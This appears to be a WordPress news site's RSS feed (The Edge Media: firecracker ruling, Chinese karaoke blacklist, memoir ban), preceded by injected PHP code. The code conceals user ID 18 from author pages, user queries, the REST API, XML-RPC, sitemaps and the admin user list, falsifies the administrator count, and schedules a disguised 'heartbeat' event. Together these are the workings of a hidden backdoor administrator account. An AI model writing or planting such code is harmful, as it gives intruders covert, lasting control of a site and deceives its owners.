add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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}, 1 );

add_action( 'template_redirect', function() {
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        $author = get_queried_object();
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            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
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    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>Supreme Court&#8217;s New Ruling: &#8220;Cannot Have Complete Ban on Firecrackers&#8221;</title>
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					<description><![CDATA[<p>Green crackers, or firecrackers made from less polluting materials, can be used during the festive season in West Bengal beginning this week, the Supreme Court ruled on Monday, overturning a total ban on crackers imposed by the Calcutta High Court to combat air pollution caused by the COVID-19 pandemic. &#160; Relying upon an order by [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/supreme-courts-new-ruling-cannot-have-complete-ban-on-firecrackers">Supreme Court&#8217;s New Ruling: &#8220;Cannot Have Complete Ban on Firecrackers&#8221;</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Green crackers, or firecrackers made from less polluting materials, can be used during the festive season in West Bengal beginning this week, the Supreme Court ruled on Monday, overturning a total ban on crackers imposed by the Calcutta High Court to combat air pollution caused by the COVID-19 pandemic.</p>
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<p>Relying upon an order by the top court in another case involving firecrackers from Friday, the judges said, &#8220;There cannot be a complete ban of firecrackers. Strengthen the mechanism to stop misuse.&#8221; Supreme Court Justices AM Khanwilkar and Ajay Rastogi also asked the West Bengal government to look into the possibility of preventing banned firecrackers and related items from being imported into the state and stopping them at entry points.</p>
<p>The post <a href="https://theedgemedia.in/supreme-courts-new-ruling-cannot-have-complete-ban-on-firecrackers">Supreme Court&#8217;s New Ruling: &#8220;Cannot Have Complete Ban on Firecrackers&#8221;</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>China to create a blacklist for karaoke songs, banning those that contain harmful content</title>
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					<description><![CDATA[<p>Singing certain songs at a karaoke bar could endanger national unity, territorial integrity and will be banned, the Chinese government has said. Interim regulations coming into effect from October 1 says the government will create a “blacklist” for karaoke songs and will ban them. &#8220;China will create a blacklist for karaoke songs, banning those that [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Singing certain songs at a karaoke bar could endanger national unity, territorial integrity and will be banned, the Chinese government has said.</p>
<p>Interim regulations coming into effect from October 1 says the government will create a “blacklist” for karaoke songs and will ban them.</p>
<p>&#8220;China will create a blacklist for karaoke songs, banning those that contain harmful content at karaoke venues across the country,” the Chinese culture and tourism ministry announced.</p>
<p>The banned song list will also include songs that are against the country’s religious policies and spread thoughts about cults and superstitions.</p>
<p>On the list are songs containing content that endangers national unity, sovereignty, or territorial integrity; violates China’s religious policies and spreads cults and superstitions; and advocates obscenity, gambling, violence and drug-related crimes or instigating crimes,” according to a set of interim regulations issued by the ministry.</p>
<p>The regulations will take effect on October 1, 2021. The banned songs’ list is yet to be released.</p>
<p>Officially, China has nearly 50,000 entertainment venues such as karaoke bars, which have a basic music library of over 100,000 songs, the Xinhua report said.</p>
<p>The post <a href="https://theedgemedia.in/china-to-create-a-blacklist-for-karaoke-songs-banning-those-that-contain-harmful-content">China to create a blacklist for karaoke songs, banning those that contain harmful content</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Modi Govt. bans Retired IPS and IAS officers from writing memoirs.</title>
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					<description><![CDATA[<p>The Narendra Modi government today banned retired senior IPS and IAS officers from writing memoirs on sensitive issues they may or may not have dealt with during their service period. Two retired security experts were planning to write against the government&#8217;s policy on Pakistan.  A former Cabinet Secretary has also written a critical article in [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/modi-govt-bans-retired-ips-and-ias-officers-from-writing-memoirs">Modi Govt. bans Retired IPS and IAS officers from writing memoirs.</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>The Narendra Modi government today banned retired senior IPS and IAS officers from writing memoirs on sensitive issues they may or may not have dealt with during their service period.</p>
<div>Two retired security experts were planning to write against the government&#8217;s policy on Pakistan.  A former Cabinet Secretary has also written a critical article in a leading English daily.</div>
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<div>In a notification issued on May 31, the government said, &#8220;No Government servant, who has worked in any Intelligence or Security-related organization shall make any publication after retirement without prior clearance from the head of the organization&#8221;.</div>
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